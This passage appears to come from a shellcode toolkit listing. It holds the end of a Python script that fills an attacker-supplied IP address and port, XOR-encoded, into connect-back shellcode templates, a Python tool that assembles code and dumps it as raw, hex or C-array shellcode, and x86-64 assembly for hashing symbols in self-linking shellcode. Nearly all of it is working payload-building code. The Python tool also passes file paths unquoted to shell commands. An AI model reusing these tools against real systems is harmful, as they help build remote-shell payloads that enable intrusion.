"\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff\\xd1"   if len(sys.argv) == 4 and sys.argv[3] == "dynamic": shellcode = dynamic_shellcode else: shellcode = standard_shellcode   convert = lambda x: ''.join(['\\x%.2x' % (ord(char) ^ 0xff) for char in x]) ip_addr = convert(socket.inet_aton(sys.argv[1])) port_no = convert(struct.pack("!H", int(sys.argv[2]))) shellcode = shellcode % (ip_addr, port_no)   for lin in re.findall(".?"*64, shellcode): if lin != "": print("\"" + lin + "\"")

shellcode-generator.py

Description: Nicely assemble and output shellcode in a variety of formats (raw, hex, and as a C variable)

#!/usr/bin/python2 import os import re import argparse   def detect_file_type(path): file_type = os.popen("file %s" % path).read(200) if "assembler" in file_type: return 0 elif "ELF" in file_type: return 1 else: print "Incompatible file type, quitting." exit()   def extract(path): if not detect_file_type(path): orig_path = path path = path.split(".")[0] if os.system("as -o %s.o %s" % (path, orig_path)) == 1: print " [!] Assembly failed." exit() if os.system("ld -o %s %s.o" % (path, path)) == 1: print " [!] Linking failed." exit()   shellcode = "" for line in os.popen("objdump -d %s" % path).readlines(): for byte in line.split(): if re.match("^[a-f0-9][a-f0-9]$", byte): shellcode += chr(int(byte, 16))   return shellcode   if __name__=="__main__": parser = argparse.ArgumentParser() parser.add_argument('--file', required=True) parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)") parser.add_argument('--raw', action='store_true', help="Output in raw format") parser.add_argument('--var', action='store_true', help="Output as a variable") parser.add_argument('--len', action='store_true', help="Output the length") args = parser.parse_args()   shellcode = extract(args.file)   if args.hex or args.var: tmp = ''.join(["\\x%.2x" % ord(byte) for byte in shellcode])   if args.var: tmp2 = "char shellcode[] = {\n" for line in re.findall(".?"*64, tmp): if line != "": tmp2 += " \"%s\" \n" % line tmp = tmp2 + "};"   print tmp   elif args.raw: print shellcode   else: parser.print_help() exit()   if args.len: print " [*] Length: %d bytes" % len(shellcode)

hash-generator.s

Description: Hash generator for self-linking shellcode

# 81 bytes   .text .globl _start _start: jmp startup   calc_hash: push %rax push %rdx   initialize_regs: push %rdx pop %rax cld   calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop   calc_done: push %rdx pop %rsi   pop %rdx pop %rax ret   startup: pop %rax pop %rax pop %rsi   xor %rdx, %rdx call calc_hash   push %rsi mov %rsp, %rsi   push %rdx   mov %rsp, %rcx   mov $0x4, %rdi loop: dec %rdi movb (%rsi,%rdi,1), %al movb %al, (%rcx,%rdx,1) inc %rdx cmp %rdi, %r10 jnz loop   mov %rcx, %rsi   inc %rdi mov %rdi, %rax   syscall   mov $0x3c, %rax dec %rdi   syscall